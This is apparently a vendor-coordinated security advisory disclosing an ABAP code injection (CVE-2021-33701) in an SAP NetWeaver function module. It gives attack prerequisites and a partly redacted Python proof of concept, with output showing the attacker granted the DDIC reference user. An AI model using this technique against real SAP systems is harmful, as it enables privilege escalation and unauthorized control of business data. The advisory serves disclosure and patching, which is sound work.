Remote ABAP Code Injection in SAP Netweaver

Vendor description

"SAP SE is a German multinational software corporation based in Walldorf, Baden-Württemberg, that develops enterprise software to manage business operations and customer relations. The company is especially known for its ERP software. SAP is the largest non-American software company by revenue, the world's third-largest publicly-traded software company by revenue, and the largest German company by market capitalisation."

Source: en.wikipedia.org/wiki/SAP

Business recommendation

SAP® released the patch (SNote 3078312) and SEC Consult advises all SAP® customers to update their systems immediately.

An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.

Vulnerability overview/description

1. Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

The IT_WHERE_CLAUSE parameter of the function module IUUC_RECON_RC_COUNT_TABLE_BIG is vulnerable to an ABAP Code Injection. Unfiltered user input is used to generate ABAP code dynamically via the GENERATE SUBROUTINE statement which then gets executed with a PERFORM statement. As the attacker can freely choose the characters that can be used in these fields, he can execute arbitrary ABAP code.

As the affected function module is remote enabled, it allows attackers to perform remote attacks via RFC. 

Note that the vulnerable code part inside the function module has been changed in newer releases. The original code that was vulnerable to an ABAP Code Injection has been replaced with an ADBC driver call. Unfortunately, this change also introduced an SQL injection vulnerability, which was addressed in SNote 3078312.

The issue has been reported in a separate SEC Consult advisory and can be viewed at the following URL: 

sec-consult.com/vulnerability-lab/advisory/remote-adbc-sql-injection-in-sap-netweaver

Attack Prerequisites

1. Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

First prerequisite is the authorization object S_DMIS (SAP SLO Data migration server) with at least the following settings:

MBT_PR_ARE: SAP Landscape Transformation
MBT_PR_LEV: (not needed to be set)
ACTVT:        03 Display

Note that it is common practice that authorization objects are (mis)configured with wildcards, which increases the likelihood of the vulnerability.

Further, of course, authorization to perform function calls (S_RFC) has to be granted.

In the majority of cases internal RFC communications are nowadays still found to be unencrypted. This increases the risk that attackers wiretap DMIS related account passwords. Once such user is hijacked, the attacker has gained all necessary prerequisites for further attacks as described in this advisory.

Proof of concept

1. Remote ABAP Code Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

As a proof of concept, a script was created that assigns the attacker himself the reference user DDIC inside the table REFUSER:

#!/usr/bin/env python3
from pyrfc import Connection

if __name__ == '__main__':

    mandt = {'000', '001'}  # selected for demonstration purpose
    conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client="001",
                      user="DEVELOPER", passwd="Sap123456", lang='EN')

    print("USREFUS before:")
    result = conn.call('RFC_READ_TABLE',
                       QUERY_TABLE='USREFUS',
                       FIELDS=['MANDT', 'BNAME', 'REFUSER'],
                       DELIMITER='|'
                       )
    column_values = []

    for line in result['DATA']:
        print(line['WA'])

    [ --- PoC partially removed --- ]

    print("\nSending payload ...\n")

    result = conn.call('RFC_READ_TABLE',
                       QUERY_TABLE='USREFUS',
                       FIELDS=['MANDT', 'BNAME', 'REFUSER'],
                       DELIMITER='|'
                       )
    column_values = []

    print("USREFUS after:")
    for line in result['DATA']:
        print(line['WA'])

Running the code produces the following output:

$> iuuc_generic_abap.py
USREFUS before:
001|DEVELOPER   |
001|BWDEVELOPER |
001|TEST        |
001|E_TEST      |
001|DDIC        |
001|SAP*        |

Sending payload ...

USREFUS after:
001|BWDEVELOPER |
001|TEST        |
001|E_TEST      |
001|DDIC        |
001|SAP*        |
001|DEVELOPER   |DDIC

Vulnerable / tested versions

This vulnerability has been tested on SAP Netweaver 752, 0001 (SP-Level), SAPK-11616INDMIS (Support Package) SAP DMIS 2011_1_731.

Vendor contact timeline